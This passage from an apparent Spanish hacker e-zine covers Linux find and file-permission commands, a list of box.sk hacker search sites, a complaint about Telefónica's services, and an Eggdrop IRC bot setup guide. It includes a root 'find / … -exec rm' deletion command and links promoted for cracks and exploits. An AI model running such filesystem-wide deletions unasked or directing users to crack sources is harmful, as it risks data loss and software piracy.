- "b": Bloques de 512 bytes cada uno (esta opcion es utilizada por
defecto si no especificamos ninguna).
BUSCANDO ARCHIVOS POR FECHA DE MODIFICACION
Otra manera de utilizar el comando find para buscar archivos es utilizando
criterios de busqueda basados en fechas de modificacion de los archivos. En
este caso la opcion a utilizar es -mtime (modified time). Vemos un ejemplo
en la figura 7.19.
# find /gome/tony/html -name *.htm -mtime -6
/home/tony/html/commands.htm
/home/tony/html/vi.htm
Figura 7.19: Buscando archivos por fecha de modificacion.
El argumento de la opcion -mtime es un numero que especifica la cantidad de
dias. Si prefijamos un "-", entonces find buscara archivos que hayan sido
modificados dentro de la cantidad de dias especificada. Si prefijamos un "+"
al argumento, entonces se buscaran archivos que no hayan sido modificados en
ese periodo. Esto es particularmente util cuando queremos generar listas de
archivos viejos.
En este ejemplo, ilustramos como es posible combinar opciones para formar
criterios de busqueda mas avanzados. En este caso solo seran devueltos como
resultado los nombres de los archivos que terminen con ".htm" y hayan sido
modificados en los ultimos 6 dias.
EFECTUANDO ACCIONES SOBRE LOS ARCHIVOS ENCONTRADOS
El comando find nos permite realizar ciertas acciones sobre los archivos que
se van encontrando como resultado de la busqueda. Esta es una caracteristica
muy util de este sistema.
Cuando un programa de Linux falla, el S.O. escribe, en el directorio de
trabajo que el programa tenia en el momento de la falla, un archivo
(usualmente muy grande) llamado core que se utiliza para realizar un
analisis de las causas por las que el programa fallo. En un sistema que se
utiliza para el desarrollo de programas estos archivos son muy utiles, pero
en la mayoria de los sistemas estos archivos no tienen utilidad y pueden ser
purgados periodicamente. En la figura 7.20 mostramos un comando find que
buscara en todo el sistema de archivos a los archivos que se llamen "core" y
los eliminara.
# find / -name core -exec rm {} \;
rm: /proc/sys/net/core: is a directory
find: /proc/410/fd: Permission denied
find: /proc/411/fd: Permission denied
find: /proc/433/fd: Permission denied
rm: /usr/src/linux-2.2.5/net/core: is a directory
Figura 7.20: Eliminando los archivos encontrados por find.
Vamos a analizar en detalle el comando utilizado:
* La opcion -exec nos permite especificar un comando a realizar sobre cada
archivo que find encuentra. El argumento de esta opcion es un comando. En
este caso utilizamos el comando rm para que elimine los archivos
encontrados.
* Las llaves "{}" que agregamos a continuacion del comando rm seran
reemplazadas por find con el nombre de cada archivo encontrado. Asi el
comando rm tendra especificado como argumento el nombre de archivo
correcto y podra eliminarlo.
* La sintaxis del comando find nos obliga a colocar, luego del argumento a
la opcion -exec, un punto y coma ";". Pero como la shell le otorga a este
simbolo un significado especial (es el separador de comandos) debemos
utilizar la barra "\" como caracter de escape para que la shell no
interprete que queremos utilizarlo como separador de comandos. Veremos
mas sobre esto en los capitulos siguientes.
OTROS USOS DEL COMANDO FIND
Es posible utilizar el comando find para realizar busquedas basadas en
muchos otros criterios, por ejemplo:
* Buscar archivos vacios (-empty)
* Buscar archivos pertenecientes a grupos de usuarios (-group)
* Buscar archivos por nombre, pero que la evaluacion se realice sin
diferenciar letras minusculas y mayusculas (-iname)
* Buscar archivos por numero de links (-links)
* Buscar archivos por tipos (directorios, links simbolicos, etc) (-type)
* Buscar archivos por usuario (-user)
7.6 CAMBIANDO PERMISOS, GRUPOS Y DUE¥OS
La habilidad de poder especificar los permisos, grupos y due~os de los
archivos para cada archivo en particular es uno de los puntos mas fuertes
del S.O. Linux y de todos los demas UNIX.
Los comandos chmos (change mode), chown (change owner) y chgrp (change
group) se utilizan para cambiar los derechos de acceso de los archivos y
directorios.
Se debe tener en cuenta que para poder cambiar los derechos de acceso de un
archivo debemos ser due~o del mismo. Existe una excepcion a esta regla que
es el "superusuario" :).
EL SUPERUSUARIO PUEDE CAMBIAR LOS DERECHOS DE ACCESO DE CUALQUIER ARCHIVO O
DIRECTORIO.
Como vimos anteriormente, las tres operaciones que pueden ser realizadas
sobre un archivo son: lectura, escritura y ejecucion. Por cada archivo
existen tres niveles de privilegio:
* user: es el due~o del archivo
* group: es el grupo a el cual pertenece el archivo
* others: es el universos (otros usuarios) de usuarios restantes
Por cada nivel de privilegio, es posible setear los permisos para las tres
operaciones de cada archivo o directorio. Mas especificamente por cada nivel
de privilegio, cada operacion puede estar permitida o denegada.
7.6.1 AVERIGUANDO LOS DERECHOS DE ACCESO DE UN ARCHIVO
Para averiguar que permisos tiene un archivo, que usuario es due~o y a que
grupo pertenece, podemos utilizar el comando ls -l que nos muestra un
listado largo de los archivos. Por ejemplo:
# ls -l
total 15
-rw-r--r-- 1 tony users 7559 May 12 04:31 commands.htm
-rw-r--r-- 1 tony users 3817 May 12 04:31 krabber-2.html
-rw-r--r-- 1 tony users 2880 May 12 04:31 vi.htm
Cada entrada del listado, en su comienzo, tiene una serie de simbolos que
especifican los permisos del archivo. La tercer columna de la entrada
muestra el usuario due~o del archivo y la columna siguiente especifica el
grupo al cual pertenece el archivo. En este caso el due~o de los archivos es
el usuario tony y los mismos pertenecen al grupo users. La identificacion de
los permisos es un poco mas complicada.
La informacion de los permisos de cada archivo se encuentra en el primer
campo de la entrada del listado. Este campo es una serie de simbolos. El
primer simbolo especifica el tipo de archivo (ver tabla 7.1). Los demas
simbolos especifican los permisos seteados sobre el archivo. El formato es
el siguiente (ver figura 7.21):
* Los tres primeros simbolos especifican los permisos de lectura, escritura
y ejecucion para el usuario due~o del archivo.
* Los siguientes tres simbolos especifican los permisos del archivo para los
usuarios que pertenecen al grupo al cual el archivo pertenece.
* Los ultimos tres simbolos muestran los permisos del universo restante.
_________ Permisos del due~o
|
| ___ Permisos del grupo
_|_ _|_
| | | |
-rwxrwxrwx
| ||||_____ Permiso de ejecucion
ø|ø||______ Permiso de escritura
| |_______ Permiso de lectura
|
|_______Permisos del grupo
Figura 7.21: Permisos de un archivo
Los tres simbolos de cada uno de los tres niveles de privilegio se
interpreta de la siguiente manera:
1. "r" el archivo tiene permiso de lectura en este nivel de privilegio.
2. "w" el archivo tiene permiso de escritura en este nivel de privilegio.
3. "x" el archivo tiene permiso de ejecucion en este nivel de privilegio.
En cualquiera de los casos, un simbolo "-" significa que no se tiene el
permiso determinado. En el ejemplo anterior, los tres archivos tienen
permiso de lectura para todos los niveles de privilegio, pero solo el due~o
tiene permiso de escritura y ninguno de los niveles tiene permiso de
ejecucion, lo que quiere decir que nadie podra ejecuar ninguno de los
archivos. Esto tiene sentido ya que no son ejecutables, son archivos "html"
de hipertexto.
Es usual que los miembros del grupo tengan los mismos o menos privilegios
que el due~o del archivo y que los demas usuarios tengan los mismos o menos
privilegios que los de los miembros del grupo, pero Linux no nos impone
ninguna restriccion sobre el seteo de los permisos. Facilmente podemos hacer
que un archivo no pueda ser leido por su due~o pero que los demas usuarios
puedan hacerlo. (Aunque no tendria sentido desde un punto de vista
practico).
7.6.2 CAMBIANDO LOS PERMISOS
Existen dos formas de cambiar los permisos con el comando chmod. Una de
ellas es utilizando el modo simbolico y la trataremos a continuacion. La
otra forma es utilizando el modo numerico octal y usualmente es !!ODIADA!!
por los usuarios novatos. Esta forma sera tratada en segundo termino.
MODOS DE ACCESO SIMBOLICOS
Una palabra de control de modos de acceso simbolica consiste en tres partes:
quienes, operador y permisos. "Quienes" especifica sobre que niveles de
privilegio setearemos los permisos. El "operador" es la operacion a plicar:
agregar, quitar o setear los permisos. Veamos un ejemplo en la figura 7.22.
# ls -l
-rw-r--r-- 1 tony users 1090 May 29 17:04 file
# chmod go-r file
# ls -l
-rw------- 1 tony users 1090 May 29 17:04 file
# chmod g=u file
# ls -l
-rw-rw---- 1 tony users 1090 May 29 17:04 file
Figura 7.22: Cambiando permisos utilizando el modo simbolico.
En este ejemplo vemos que el archivo de nombre file tiene permiso de lectura
para todos los usuarios, pero su due~o es el unico que tiene permiso de
escritura. Luego ejecutamos.
==> chmod go-r file
En este comando el campo "quienes" esta formado por g (group) y o (others),
el operador es "-" por lo tanto se quitaran los permisos especificados, que
en este caso es unicamente el permiso de lectura "r" (read). Luego de estos
tres campos se debe especificar el/los archivos sobr los que queremos
modificar los permisos. Luego de cambiar los permisos, verificamos que el
archivo ya no tiene permiso de lectura ni para los usuarios del grupo, ni
para los demas. Luego ejecutamos:
==> chmod g=u file
Aqui el campo "quienes" contiene solo el grupo. El operador es este caso es
"=" por lo que los permisos del grupo seran seteados iguales a los del
usuario.
Los valores que pueden tomar cada campo de la palabra de control simbolico
se muestran en la tabla 7.2.
Quienes Operador Permisos
-------------------------------------------------------------------------
u Usuarios - Eliminar el permiso r Lectura (read)
g Grupo + Agregar el permiso w Escritura (write)
o Otros = Setear el permiso x Ejecucion (execute)
a Todos (all) u Permisos actuales del usuario
g Permisos actuales del grupo
o Permisos actuales del resto
Tabla 7.2. Formando la palabra de control chmod.
MODOS DE ACCESO EN NOTACION OCTAL
Muchas personas prefieren especificar los modos de acceso de los archivos
utilizando el modo simbolico. Pero el comando chmod tambien nos permite
utilizar una especificacion numerica. Aunque uno prefiera utilizar la
notacion simbolica es bueno entender la notacion numerica octal de modos de
acceso de los archivos en esta notacion. Mas aun si vamos a dedicarnos a la
administracion de un sistema, nos encontraremos con la notacion octal muy
frecuentemente. Como usuario, podemos encontrar situaciones en las que los
comandos mv, cp, ln, rm necesiten confirmacion de las acciones a realizar y
nos especifiquen el modo de acceso del archivo en notacion octal.
Los numeros del sistema octal, se encuentran en base 8. Lo que significa que
los digitos octales son 0, 1, 2, 3, 4, 5, 6 y 7. Cada digito octal es
representado por tres digitos binarios (0 o 1), por esto la notacion octal
es practica para represntar cosas que se agrupan en trios, ya que solo un
digito octal puede representar todas las posibilidades.
Un solo digito puede servirnos para representar un conjunto de permisos de
lectura/escritura/ejecucion como vemos en la tabla 7.3.
Como un digito octal puede guardar un conjunto de permisos, necesitamos tres
digitos para representar los modos de acceso de un archivo, un digito para
los permisos del usuario, otro para los permisos del grupo y otro para los
permisos de los demas usuarios.
Una diferencia grande con la utilizacion de la notacion simbolica es que con
el modo octal debemos especificar completamente el modo de acceso del
archivo y no podemos agregar o quitar permisos. Veamos varios ejemplos en la
fihura 7.23.
Digito Octal Permiso de lectura Permiso de escritura Permiso de ejecucion
0 no no no
1 no no si
2 no si no
3 no si si
4 si no no
5 si no si
6 si si no
7 si si si
Tabla 7.3: Especificacion de modos de acceso con notacion octal.
# chmod 666 file
# ls -l file
-rw-rw-rw- 1 tony users 1090 May 29 17:04 file
# chmod 000 file
# ls -l file
---------- 1 tony users 1090 May 29 17:04 file
# chmod 755 file
# ls -l file
-rwxr-xr-x 1 tony users 1090 May 29 17:04 file
# chmod 700 file
# ls -l file
-rwx------ 1 tony users 1090 May 29 17:04 file
Figura 7.23: Seteando permisos utilizando la notacion octal.
7.6.3 CAMBIANDO EL DUE¥O Y EL GRUPO DE LOS ARCHIVOS
Los comandos chown (change owner) y chgrp (change group) cambian el due~o y
el grupo asociados con un archivo. Estos comandos son usualmente utilizados
cuando un usuario hereda archivos de otro usuario o cuando obtiene copias de
archivos de otros usuarios. El siguiente comando cambiara el due~o de todos
los archivos del directorio actual al usuario juan:
==> chown juan *
El nombre del nuevo due~o debe ser un nombre de usuario valido o un numero
de identificacion de usuario (UID) valido. Los nombres de usuarios y los
respectivos UID's se encuentran en el archivo /etc/passwd. En algunas
versiones de UNIX/Linux el comando chown solo esta permitido al
superusuario. El siguiente comando asociara el grupo users con el archivo
example.tex.gz:
==> chgrp users example.tex.gz
Los grupos que se pueden utilizar con el comando chgrp pueden ser nombres de
grupos o numeros de identificacion de grupos (GID) que se encuentran en el
archivo /etc/group.
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 12.1 Buscando, buscando en la red ::--..
by CHack
En los correos que envian a nuestro zine, es comun que se pregunte en donde
se pueden encontrar programas o informacion hacker, asi que si tu eres nuevo
en el mundo underground y lo que quieres es encontrar (con fines educativos,
claro esta) esas cosillas, pues seria importante que conocieras algunos de
las paginas favoritas de busqueda de informacion del bajo mundo para lo cual
como primera etapa nos dirigiremos a:
http://www.boxnetwork.net/
Esta es la pagina principal que te llevara a diversos buscadores de
informacion entre los cuales se presentan amigabox, astalavista, blackbox,
codebox, dvdbox, easybox, eye, gameguru, linuxbox, mobilebox, mp3box y
neworder.
Pero bueno, empecemos a describir los contenidos de cada una de las secciones
aunque me creo que muchos ya se imaginaran de que tratan cada uno.
http://amiga.box.sk/
Ademas del buscador especifico de las computadoras amiga (en mi pais casi
extintas) tiene links a diversas paginas donde pueden encontrar desde juegos,
software, grupos, archivos de musica, companias que desarrollan cosas para
esta maquina, foros, emuladores y muchisimas utilerias, aunque solo tiene
relacion con pocas ligas, creo que la informacion es abundante.
http://astalavista.box.sk
Este motor de busqueda te ayudara a encontrar un gran numero de archivos
utiles para PC desde cracks hasta aplicaciones de uso generalizado en la red,
desde como descifrar un password hasta phreak, en fin el sue~o de muchos
hecho realidad, pero bueno adentremonos en mas de las cosas que tiene el la
box network.
http://black.box.sk/
En esta liga vas a encontrar un zine bastante interesante de seguridad
informatica y cosas afines, ademas de diversos vinculos a diversas zine
principalmente en ingles, pero con bastante informacion; ademas tiene un
buscador muy interesante que puede hacer busqueda por palabra especifica
dentro de blackbox zine.
http://code.box.sk/
Si lo que les interesa es la programacion, pues conectense con esta liga, que
tiene un monton de foros, explicaciones y ejemplos de codigo para hacer tus
propios programas y muchas cosas mas.
http://disc.box.sk/
Este es un lugar con muchos foros de discusion donde se habla de virus,
troyanos, TV por satelite, programacion, sistemas operativos, musica, juegos
en fin de todos los temas que se relacionan con el mundo de la computacion.
http://dvd.box.sk/
Quieres saber de regiones, peliculas, y equipos de DVD, pues acude a esta
pagina ya que en ella podras encontrar desde noticias hasta como liberar de
regiones hasta DVD caseros.
http://easy.box.sk/
Esta es la zona del shareware y freeware asi que si lo que te interesa es
encontrar esos programas que luego son tan utilies como el cleanreg, getright
o aceleradores de internet, pues aqui los vas a encontrar, aunque yo prefiero
ir a www.shareware.com.
http://eye.box.sk/
Si lo que te interesa es el dibujo, las fonts o esos plugins para tus
programas de dibujo, esta seria la pagina indicada, ademas tiene bastantes
manuales que pueden ayudarte a volverte la mejor competencia de lucas arts
(bueno, mas o menos).
http://gameguru.box.sk/
Cansado de ser la burla de tus porque te matan en la primera escena de los
juegos, no sabes como hacerle para terminar con el mounstro del final,
aburrido de que tu hermano de 5 a~os te gana en el fifa. Aaaahhh! para eso
esta gameguru donde vas a encontrar todos esos trucos que siempre quisiste
saber, la forma de ser inmortal (aunque sea en juego), como obtener armas
adicionales; o simplemente, la critica de como esta ese juego que en la caja
se ve increible, pero cuando lo compras es mas aburrido que bailar con tu
hermana.
http://linux.box.sk/
Sip, como su nombre lo dice, aqui vas a encontrar muchisimas cosas de linux
drivers, juegos, programas, utilerias etc. etc. ademas de un buscador de
aplicaciones bastante bueno.
http://mobile.box.sk/
Si tienes un telefono celular, visita esta pagina, vas a encontrar muchas
respuestas a tus preguntas, pero tampoco esperes mucho, ya que te aseguro que
no vas a encontrar el tan buscado generador de codigos para las tarjetas de
prepago de telefonia celular.
http://mp3.box.sk/
En esta pagina vas a encontrar lo que necesitas para mp3, desde player,
encoders, editores etc. alguna vez fue muy bueno para encontrar musica en
sitios FTP, pero ahora ya ha sido rebasado lejos por napster y audiogalaxie.
http://neworder.box.sk/
Este sitio debe ser tu primera parada, cuando deseas convertirte en el
ZeroCool del proximo milenio, vas a encontrar recursos de seguridad, exploits
y otras chunches del mundo de los hacker.
Me salte algunas secciones porque creo que no son aplicables al tema (no
creo que a mucha gente le interese como encontrar taxis en Cassovia), pero
bueno ahora ya tienen por donde empezar.
Se que ahora ya tienen un nuevo problema, que es el que ahora tienen mucha
informacion, pero ni modo la vida es asi, pues como decia el viejo, si lo
dificil fuera facil cualquier pend...tonto lo haria.
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 12.2 Telefonica, quien si no? ::--..
by Portavoz
Se~ores, hemos llegado a un momento de pasividad completa y aceptamos toda la
basura que nos echan. Damos por sentado que los servicios que se nos ofrecen
son los mejores y los mas baratos. No nos molestamos en criticar, tan solo
nos tragamos lo que llevamos tragando 40 a~os. Se~ores, YA ESTA BIEN! No
podemos seguir aceptando como bueno el pesimo servicio que nos dan. Quiero
Hablarles sobre uno de los grandes monopolios que existen en el mundo.
Creemos todo lo que nos dicen y todavia estamos contentos. Lo que quiero es
descubrir la verdad sobre estas "maravillas" que se nos ofrecen
continuamente. Quiero Hablar sobre una empresa que pensamos que es la unica
que tiene utilidades adicionales para el usuario comun. Quiero Hablarles
sobre algo muy importante: Se~ores, seamos criticos. No podemos dejar que
todo lo que nos cuenta esta empresa nos diga lo que es bueno y lo que es
malo. Se~ores, tenemos que aprender a analizar las cosas tal y como son.
Tenemos que buscarle a esas prestaciones su verdadera utilidad.
Por esto quiero Hablarles del mayor monopolio que conoce en este pais.
Telefonica de Espa~a S.A. Este es el nombre de la compa~ia que tiene la mayor
parte del mercado de las comunicaciones. Telefonica es una poderosa compa~ia
que lleva ofreciendo telefono a los espa~oles desde hace mas de 40 a~os.
Presumen de ofrecer los mejores servicios y a los mejores precios. Pero,
hasta que punto es esto verdad? Si, es cierto que ofrece multitud de
servicios: Contestador automatico, llamada en espera, llamada a tres, desvio
de llamada, identificacion de llamada... Pero no es oro todo lo que reluce.
El contestador automatico: es un servicio muy util, no cabe duda. Pero por
que hasta hace bien poco habia que pagar por el? Y mas importante, por que
hasta hace tambien muy poco tiempo no se nos informo de como podemos
desactivarlo? Porque puede ser un servicio muy util, pero sinceramente,
cuantos de ustedes dejan un mensaje en esos aparatos? Por que hay que obligar
a quien te llama si no ha podido mantener la conversacion que deseaba? No
tiene ningun sentido.
Sigamos con la llamada en espera. Este tambien parece un servicio muy util,
asi no perdemos las llamadas que nos hagan mientras hablamos. Pero, a
ustedes, no les parece una falta de educacion que le retengan una llamada que
usted ha efectuado antes y que ademas siga pagando el coste de esta llamada
que esta desperdiciando? Y por si fuera poco, la persona que ha llamada a
nuestro interlocutor casi nunca sera bien recibida y se le pedira que cuelgue
para nosotros llamarle despues. Eso son otras dos llamadas que hemos tenido
que pagar los usuarios del servicio.
El siguiente es la llamada a tres. Para que me sirve a mi hablar con dos
personas a la vez? Si, por supuesto que puede ser util, pero si ya nos cuesta
mantenernos en silencio cuando alguien nos habla, como vamos a hacer para
aclararnos tres la vez? Esto no es tan grave, es cuestion de educacion, al
fin y al cabo, pero, como se hacen estas llamadas? Porque en ningun sitio se
explica. Y cuanto se paga? De eso no se nos informa en ningun momento. Una
vez que hemos conseguido realizar las dos llamadas a la vez, no sabemos
cuanto estamos pagando.
Desvio de llamada. Otro igual que el anterior. Como se desactiva? Yo mismo lo
he tenido activado sin mi permiso, y se me decia que era un servicio
obligatorio Por el que estaba pagando! Afortunadamente he conseguido
desactivar este servicio por el que pagaba 100 pesetas mensuales. Aunque eso
si, seguimos pagando la diferencia de la llamada que remitimos a otro
telefono.
La ultima novedad de Telefonica es la identificacion de llamada. Este es un
servicio al que nos hemos acostumbrado con la llegada de la telefonia movil.
La utilidad de este servicio es conocer quien no esta llamando antes de
descolgar el telefono. No es tan util como parece, ya sabremos quien nos
llama cuando descolguemos. Sin embargo, en ocasiones es un servicio que
agrada tener. Saber exactamente quien nos llama nos puede servir para
rechazar la llamada del pesado que nos gasta bromas o simplemente satisfacer
nuestra curiosidad. La trampa en este servicio, gratuito desde hace 2 meses
aproximadamente, es que no nos sirven todos los telefonos. Necesitamos uno
con pantalla. Pero no todos los que tiene pantalla nos sirven. De hecho los
unicos que sirven son los que fabrica Telefonica, que ademas no nos permite
tener en alquiler, como los Forma, si no que hay que comprarlo. O tambien
podemos comprar, a Telefonica (por supuesto) un aparatito que almacena los 10
ultimos numeros que nos han llamado.
No cabe duda de que Telefonica ofrece muchos y variados servicios, pero, a
que precio? Son realmente necesarios? Por que no se nos informa de como
usarlos?
Y todo esto lo hacen aprovechando que son el unico operador real que trabaja
en Espa~a: Telefonica, quien si no?
Portavoz
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 12.3 IRC Bots - Eggdrops ::--..
by Sicario
Vamos a tratar sobre del robot para IRC más popular, el Eggdrop. Este robot
está creado bajo sentencias de C, existiendo versiones tanto para Unix/Linux
asi como para el windows, como es de suponer, aquí solo trataremos de la
versión para Unix/Linux. Nos basaremos en la version 1.6.3
1.Requerimientos :
- Una cuenta Shell, con permisos para compilar y jecutar programas.
- Cerciorate de tener el TCL instalado en tu máquina:
Utiliza el comando tclsh para cambiar al shell del TCL y verificar si lo
tienes instalado.
Podras descargar la última versión del TCL de
ftp://ftp.scriptics.com/pub/tcl
El TCL es un lenguaje para crear scripts, desarrollado por John Ousterhout,
algunas distribuciones de Linux vienen con el TCL ya instalado.
2.Descarga del Software :
Hay muchos lugares de donde puedes descargar el archivo comprimido del
Eggdrop. Aquí alguno de ellos :
http://www.eggdrops.net/
http://www.eggheads.org/
http://www.egghelp.org/
3.Instalación :
Una vez descargado, procede a descomprimirlo :
#tar -zxvf eggdrop1.6.3.tar.gz
Ahora ingresas al directorio del archivo descomprimido :
#cd eggdrop1.6.3
y procedes a configurarlo y compilarlo.
#./configure
#make config
#make
Con esto ya tienes instalado el eggdrop en tu sistema, ahora tendras que
crear un robot con las necesidades que requieras. Lo ideal es tener agrupado
los bots que vayas a crear por directorios, en el caso de que vayas a
instalar más de uno.
Suponiendoce que nuestro robot se ira a llamar Bot y nuestro home directory
sea \home\robot
#make install DEST="\home\robot\Bot"
Esto creara un directorio dentro de nuestro home llamado Bot, donde tendremos
que editar el archivo de configuración para nuestro robot. Encontraras uno
como ejemplo llamado eggdrop.simple.conf. Editalo con tus requerimientos y
renombralo para mayor facilidad de uso.
A continuacion te pongo un archivo de configuración, con parametros creados
para el servidor de IRC Dalnet :
------
#En esta linea configuras la ruta donde se encuentra el binario
#del Eggdrop.
#! /home/robot/bot/eggdrop
#Aqui configuras el Nick del robot y su password en variables
#que se utlizan luego.
set eggnick "Bot"
set botpass "password"
#Aqui configuras los datos generales del Bot.
set username "Robot"
set admin "sicario <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>"
set network "DALnet"
set timezone "EST"
set offset "5"
#Si deseas tener logs de tu canal, los configuras aqui.
set max-logs 5
set max-logsize 0
set quick-logs 0
logfile mco * "sicario.log"
logfile jkp #canal "/home/robot/bot/logs/Bot.log"
set log-time 1
set keep-all-logs 0
set switch-logfiles-at 300
set quiet-save 0
set console "mcobxs"
#Aqui configuras el nombre del file de usuarios del bot y las
#rutas de ayuda, temporales, del MOTD y del banner al hacer
#telnet o un dcc chat al robot.
set userfile "Bot.user"
set sort-users 1
set help-path "help/"
set temp-path "/tmp"
set motd "motd"
set telnet-banner "telnet-banner"
#Aqui configuras los datos de tu bot si estara linkado a
#otros bots.
set botnet-nick "Bot"
listen 4567 all
set protect-telnet 1
set dcc-sanitycheck 0
set ident-timeout 6
set require-p 0
set open-telnets 0
set stealth-telnets 0
set use-telnet-banner 1
set connect-timeout 15
set dcc-flood-thr 6
set telnet-flood 5:5
set paranoid-telnet-flood 0
set resolve-timeout 20
##### MORE ADVANCED STUFF #####
set ignore-time 10
set hourly-updates 00
set owner "sicario"
set notify-newusers "sicario"
set default-flags "hp"
set whois-fields "url birthday"
set remote-boots 0
set share-unlinks 0
set die-on-sighup 0
set die-on-sigterm 0
set must-be-owner 1
set max-dcc 50
set dcc-portrange 1024:65535
set enable-simul 1
set allow-dk-cmds 1
#Aqui configuras la ruta de los modulos. Los modulos son
#sentencias adicionales en C, que te proporcionan
#utilidades fuera del propio eggdrop.
set mod-path "modules/"
#Aqui levantas el modulo de canales y lo configuras.
loadmodule channels
set chanfile "bot.chan"
set ban-time 300
set exempt-time 60
set invite-time 60
set force-expire 1
set share-greet 0
set use-info 1
#Lo que sigue son los parametros globales para control de
#canales.
set global-flood-chan 6:6
set global-flood-deop 0
set global-flood-kick 0
set global-flood-join 0
set global-flood-ctcp 6:6
set global-chanset {
-clearbans -enforcebans
+dynamicbans +userbans
-autoop -bitch
+greet +protectops
+statuslog -stopnethack
-revenge -secret
+autovoice +cycle
+dontkickops -wasoptest
-inactive +protectfriends
-shared -seen
+userexempts +dynamicexempts
+userinvites +dynamicinvites
}
set global-chanmode "nt"
#Si deseas tener un canal especifico con protecciones distintas
#las adicionas a partir de aqui.
channel add #canal {
chanmode "+nt"
idle-kick 0
need-op { needop "#canal" }
need-invite { needinvite "#canal" }
need-unban { needunban "#canal" }
need-key { needinvite "#canal" }
need-limit { needinvite "#canal" }
flood-chan 6:6
flood-deop 0
flood-kick 0
flood-join 0
flood-ctcp 6:6
}
channel set #canal -clearbans -enforcebans +dynamicbans +userbans +userinvites
channel set #canal -autoop -bitch +greet +protectops +protectfriends
channel set #canal -stopnethack -revenge +autovoice -secret -shared +cycle
channel set #canal +dontkickops -wasoptest -inactive -seen +statuslog
#estos son algunos procesos que se ejecutan automaticamente si
#el robot necesita Op, necesita ser invitado al canal o
#quitarce un ban.
proc needop {channelname} {
global botnick nick botpass eggnick
putserv "PRIVMSG NickServ :identify $eggnick $botpass"
putserv "PRIVMSG ChanServ :op $channelname $botnick"
}
proc needinvite {channelname} {
global botnick nick botpass eggnick
putserv "PRIVMSG NickServ :identify $eggnick $botpass"
putserv "PRIVMSG ChanServ :invite $channelname $botnick"
}
proc needunban {channelname} {
global botnick nick botpass eggnick
putserv "PRIVMSG NickServ :identify $botpass"
putserv "PRIVMSG ChanServ :unban $channelname all"
}
#Aqui levantas el modulo de servidor y lo configuras.
loadmodule server
set net-type 3
set nick "Bot"
set altnick "Bot_"
set realname "http://home.dal.net/sicario/"
set init-server { start }
proc start {} {
global botnick botpass eggnick
putserv "NickServ IDENTIFY $eggnick $botpass"
putlog "Identifying to NickServ (Auto-Identification)"
putserv "MODE $botnick +iw-xs"
}
#Aqui configuras la lista de servidores al cual se conectara el
#robot.
set servers {
tsunami.dal.net
ced.se.eu.dal.net
paranoia.se.eu.dal.net
}
set keep-nick 1
set use-ison 1
set strict-host 0
set quiet-reject 0
set lowercase-ctcp 0
set answer-ctcp 3
set flood-msg 3:3
set flood-ctcp 3:3
set never-give-up 1
set strict-servernames 0
set default-port 6669
set server-cycle-wait 10
set server-timeout 10
set servlimit 0
set check-stoned 0
set use-console-r 1
set debug-output 0
set serverror-quit 0
set max-queue-msg 350
set trigger-on-ignore 0
set double-mode 1
set double-server 1
set double-help 1
#Aqui levantas el modulo para CTCP eventos.
loadmodule ctcp
set ctcp-version "Eggdrop 1.6.3 admin: sicario"
set ctcp-finger "Eggdrop 1.6.3 admin: sicario"
set ctcp-userinfo "Eggdrop 1.6.3 admin: sicario"
set ctcp-mode 2
#Aqui levantas el modulo para IRC.
loadmodule irc
set bounce-bans 1
set bounce-modes 0
set kick-bogus-bans 0
set bounce-bogus-bans 1
set max-bans 45
set max-modes 45
set allow-desync 1
set kick-bogus 0
set ban-bogus 0
set kick-fun 0
set ban-fun 0
set learn-users 0
set wait-split 600
set wait-info 1
set mode-buf-length 200
set no-chanrec-info 1
set revenge-mode 1
set bounce-exempts 0
set bounce-invites 0
set max-exempts 20
set max-invites 20
set bounce-bogus-exempts 0
set kick-bogus-exempts 0
set bounce-bogus-invites 0
set kick-bogus-invites 0
set prevent-mixing 1
##### TRANSFER MODULE #####
#loadmodule transfer
#set max-dloads 2
#set dcc-block 0
#set copy-to-tmp 1
#set xfer-timeout 35
##### SHARE MODULE #####
#loadmodule share
#set allow-resync 1
#set resync-time 900
#set private-owner 1
#set private-global 1
#set private-globals "mnot"
#set private-user 1
##### FILESYSTEM MODULE #####
#loadmodule filesys
#set files-path "/home/robot/bot/filesys"
#set incoming-path "/home/robot/bot/incoming"
#set upload-to-pwd 0
#set filedb-path ""
#set max-file-users 2
#set max-filesize 700000
##### NOTES MODULE #####
loadmodule notes
set notefile "seafish.notes"
set max-notes 5
set note-life 90
set allow-fwd 1
set notify-users 1
set notify-onjoin 1
##### CONSOLE MODULE #####
loadmodule console
set console-autosave 1
set force-channel 0
set info-party 1
##### WOOBIE MODULE #####
# this serves absolutely no purpose and is for demonstrative
# purposes only
#loadmodule woobie
##### SEEN MODULE #####
##### BLOWFISH MODULE #####
checkmodule blowfish
##### ASSOC MODULE #####
# uncomment this line to load assoc support, i.e naming channels on
# the botnet
#loadmodule assoc
##### WIRE MODULE #####
# this module provides all the standard .wire commands via dcc.
# it's an encrypted partyline communication tool, compatible with wire.tcl
# uncomment this line to load it
#loadmodule wire
#Aqui colocas los scripts que vayas a usar, estos son algunos
#ejemplos. Recuerda que los scripts necesitan alguna
#configuracion adicional en el eggdrop o en el mismo script,
#lee la ayuda de cada script.
source scripts/bnc.tcl
source scripts/randversion.tcl
source scripts/bseen.tcl
source scripts/responde.tcl
source scripts/count.tcl
source scripts/ping.tcl
source scripts/chatstats.tcl
--------- End
Una vez que hayas terminado de editar el archivo de configuración, procedes a
ejecutar el robot, como esta sera la primera vez, tendras que usar la
siguiente linea de comando :
#./eggdrop -m conf
Suponiendoce que hayas renombrado el archivo eggdrop.simple.conf por conf
